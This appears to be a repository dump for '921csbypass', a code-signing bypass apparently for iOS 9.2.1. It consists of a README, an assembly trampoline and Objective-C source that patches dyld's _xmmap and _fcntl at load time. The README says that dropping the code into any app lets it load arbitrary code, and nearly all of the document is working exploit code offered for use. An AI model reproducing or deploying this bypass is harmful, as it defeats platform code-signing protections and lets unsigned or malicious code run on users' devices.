├── README.md ├── cs_tramp.s └── cs_bypass.m /README.md: -------------------------------------------------------------------------------- 1 | # 921csbypass 2 | 3 | fixed in 9.3. 4 | 5 | drop this code into any app and it should allow you to load arbitrary code in it. 6 | 7 | found indipendently by multiple parties (mbazaliy and eiz), i only wrote this up after being told about it 8 | -------------------------------------------------------------------------------- /cs_tramp.s: -------------------------------------------------------------------------------- 1 | .align 4 2 | .globl __tramp_begin 3 | .globl __tramp_end 4 | __tramp_begin: 5 | #ifdef __arm64__ 6 | ldr x8, __tramp_tgt 7 | br x8 8 | #elif defined __arm__ 9 | .thumb 10 | ldr r12, __tramp_tgt 11 | bx r12 12 | #elif defined __x86_64__ 13 | jmp *(%rip) 14 | #endif 15 | __tramp_tgt: 16 | #ifdef __LP64__ 17 | .quad 0x4141414141414141 18 | #else 19 | .long 0x41414141 20 | #endif 21 | __tramp_end: 22 | -------------------------------------------------------------------------------- /cs_bypass.m: -------------------------------------------------------------------------------- 1 | 2 | #import 3 | #import 4 | #import 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #ifdef __LP64__ 11 | #define mach_hdr struct mach_header_64 12 | #define sgmt_cmd struct segment_command_64 13 | #define sect_cmd struct section_64 14 | #define nlist_ struct nlist_64 15 | #define LC_SGMT LC_SEGMENT_64 16 | #define MH_MAGIC_ MH_MAGIC_64 17 | #else 18 | #define mach_hdr struct mach_header 19 | #define sgmt_cmd struct segment_command 20 | #define sect_cmd struct section 21 | #define nlist_ struct nlist 22 | #define LC_SGMT LC_SEGMENT 23 | #define MH_MAGIC_ MH_MAGIC 24 | #endif 25 | #define load_cmd struct load_command 26 | 27 | 28 | sect_cmd *find_section(sgmt_cmd *seg, const char *name) 29 | { 30 | sect_cmd *sect, *fs = NULL; 31 | uint32_t i = 0; 32 | for (i = 0, sect = (sect_cmd *)((uint64_t)seg + (uint64_t)sizeof(sgmt_cmd)); 33 | i < seg->nsects; 34 | i++, sect = (sect_cmd*)((uint64_t)sect + sizeof(sect_cmd))) 35 | { 36 | if (!strcmp(sect->sectname, name)) { 37 | fs = sect; 38 | break; 39 | } 40 | } 41 | return fs; 42 | } 43 | 44 | load_cmd *find_load_command(mach_hdr *mh, uint32_t cmd) 45 | { 46 | load_cmd *lc, *flc; 47 | lc = (load_cmd *)((uint64_t)mh + sizeof(mach_hdr)); 48 | while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { 49 | if (lc->cmd == cmd) { 50 | flc = (load_cmd *)lc; 51 | break; 52 | } 53 | lc = (load_cmd *)((uint64_t)lc + (uint64_t)lc->cmdsize); 54 | } 55 | return flc; 56 | } 57 | 58 | sgmt_cmd *find_segment(mach_hdr *mh, const char *segname) 59 | { 60 | load_cmd *lc; 61 | sgmt_cmd *s, *fs = NULL; 62 | lc = (load_cmd *)((uint64_t)mh + sizeof(mach_hdr)); 63 | while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) { 64 | if (lc->cmd == LC_SGMT) { 65 | s = (sgmt_cmd *)lc; 66 | if (!strcmp(s->segname, segname)) { 67 | fs = s; 68 | break; 69 | } 70 | } 71 | lc = (load_cmd *)((uint64_t)lc + (uint64_t)lc->cmdsize); 72 | } 73 | return fs; 74 | } 75 | 76 | void* find_sym(mach_hdr *mh, const char *name) { 77 | sgmt_cmd* first = (sgmt_cmd*) find_load_command(mh, LC_SGMT); 78 | sgmt_cmd* linkedit = find_segment(mh, SEG_LINKEDIT); 79 | struct symtab_command* symtab = (struct symtab_command*) find_load_command(mh, LC_SYMTAB); 80 | vm_address_t vmaddr_slide = (vm_address_t)mh - (vm_address_t)first->vmaddr; 81 | 82 | char* sym_str_table = (char*) linkedit->vmaddr - linkedit->fileoff + vmaddr_slide + symtab->stroff; 83 | nlist_* sym_table = (nlist_*)(linkedit->vmaddr - linkedit->fileoff + vmaddr_slide + symtab->symoff); 84 | 85 | for (int i = 0; i < symtab->nsyms; i++) { 86 | if (sym_table[i].n_value && !strcmp(name,&sym_str_table[sym_table[i].n_un.n_strx])) { 87 | return (void*) (uint64_t) (sym_table[i].n_value + vmaddr_slide); 88 | } 89 | } 90 | return 0; 91 | } 92 | 93 | vm_address_t find_dyld() { 94 | kern_return_t kr = KERN_SUCCESS; 95 | vm_address_t address = 0; 96 | vm_size_t size = 0; 97 | 98 | while (1) { 99 | mach_msg_type_number_t count; 100 | struct vm_region_submap_info_64 info; 101 | uint32_t nesting_depth; 102 | 103 | count = VM_REGION_SUBMAP_INFO_COUNT_64; 104 | kr = vm_region_recurse_64(mach_task_self(), &address, &size, &nesting_depth, 105 | (vm_region_info_64_t)&info, &count); 106 | if (kr == KERN_INVALID_ADDRESS) { 107 | break; 108 | } else if (kr) { 109 | mach_error("vm_region:", kr); 110 | break; /* last region done */ 111 | } 112 | 113 | if (info.is_submap) { 114 | nesting_depth++; 115 | } else { 116 | if (info.protection & PROT_EXEC && info.protection & PROT_READ) { 117 | if (*(uint32_t*) (address) == MH_MAGIC_ ) { 118 | mach_hdr* hd = (mach_hdr*) address; 119 | if (hd->filetype == MH_DYLINKER) { 120 | return address; 121 | } 122 | } 123 | } 124 | address += size; 125 | } 126 | } 127 | return 0; 128 | } 129 | 130 | static int fcntlhook(int a, int b) { 131 | return -1; 132 | } 133 | 134 | static void * 135 | mmaphook(void *addr, size_t len, int prot, int flags, int fd, off_t offset) 136 | { 137 | void* ret = mmap(addr, len, PROT_READ|PROT_WRITE, (flags & (~(MAP_FILE|MAP_SHARED))) | MAP_ANON | MAP_PRIVATE, 0, offset); 138 | if (((vm_address_t)ret) == -1) { 139 | return ret; 140 | } 141 | lseek(fd, offset, SEEK_SET); 142 | read(fd, ret, len); 143 | if (!(flags & PROT_WRITE)) { 144 | mlock(ret, len); 145 | } 146 | mprotect(ret, len, prot); 147 | return ret; 148 | } 149 | 150 | __attribute__((constructor)) 151 | void ayy_lmao() { 152 | // Load PLT entries (munmap breaks dyld..) 153 | 154 | mmap(0, 0, 0, 0, 0, 0); 155 | mlock(0, 0); 156 | mprotect(0, 0, 0); 157 | 158 | mach_hdr* dyld_hdr = (mach_hdr*) find_dyld(); 159 | assert(dyld_hdr); 160 | assert(dyld_hdr->filetype == MH_DYLINKER); 161 | // Copy original code 162 | 163 | vm_address_t fcntl = (vm_address_t) find_sym(dyld_hdr, "_fcntl"); 164 | assert(fcntl); 165 | vm_address_t xmmap = (vm_address_t) find_sym(dyld_hdr, "_xmmap"); 166 | assert(xmmap); 167 | 168 | char buf[PAGE_SIZE*2]; 169 | memcpy(buf, (void*)(xmmap & (~PAGE_MASK)), PAGE_SIZE*2); 170 | 171 | // Patch. 172 | 173 | extern void _tramp_begin(); 174 | extern void _tramp_end(); 175 | char* xmb = &buf[xmmap & PAGE_MASK]; 176 | memcpy(xmb, _tramp_begin, ((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)); 177 | 178 | vm_address_t* tramp_target = (vm_address_t*) &xmb[((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)]; 179 | tramp_target --; 180 | *tramp_target = (vm_address_t) mmaphook; 181 | 182 | // Replace code 183 | 184 | munmap((void*)(xmmap & (~PAGE_MASK)), PAGE_SIZE*2); 185 | mmap((void*)(xmmap & (~PAGE_MASK)), PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, 0, 0); 186 | mlock((void*)(xmmap & (~PAGE_MASK)), PAGE_SIZE*2); 187 | memcpy((void*)(xmmap & (~PAGE_MASK)), buf, PAGE_SIZE*2); 188 | mprotect((void*)(xmmap & (~PAGE_MASK)), PAGE_SIZE*2, PROT_READ|PROT_EXEC); 189 | 190 | // Copy original code 191 | 192 | memcpy(buf, (void*)(fcntl & (~PAGE_MASK)), PAGE_SIZE*2); 193 | 194 | // Patch. 195 | 196 | xmb = &buf[fcntl & PAGE_MASK]; 197 | memcpy(xmb, _tramp_begin, ((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)); 198 | 199 | tramp_target = (vm_address_t*) &xmb[((vm_address_t)_tramp_end)-((vm_address_t)_tramp_begin)]; 200 | tramp_target --; 201 | *tramp_target = (vm_address_t) fcntlhook; 202 | 203 | // Replace code 204 | 205 | munmap((void*)(fcntl & (~PAGE_MASK)), PAGE_SIZE*2); 206 | mmap((void*)(fcntl & (~PAGE_MASK)), PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, 0, 0); 207 | mlock((void*)(fcntl & (~PAGE_MASK)), PAGE_SIZE*2); 208 | memcpy((void*)(fcntl & (~PAGE_MASK)), buf, PAGE_SIZE*2); 209 | mprotect((void*)(fcntl & (~PAGE_MASK)), PAGE_SIZE*2, PROT_READ|PROT_EXEC); 210 | } 211 | --------------------------------------------------------------------------------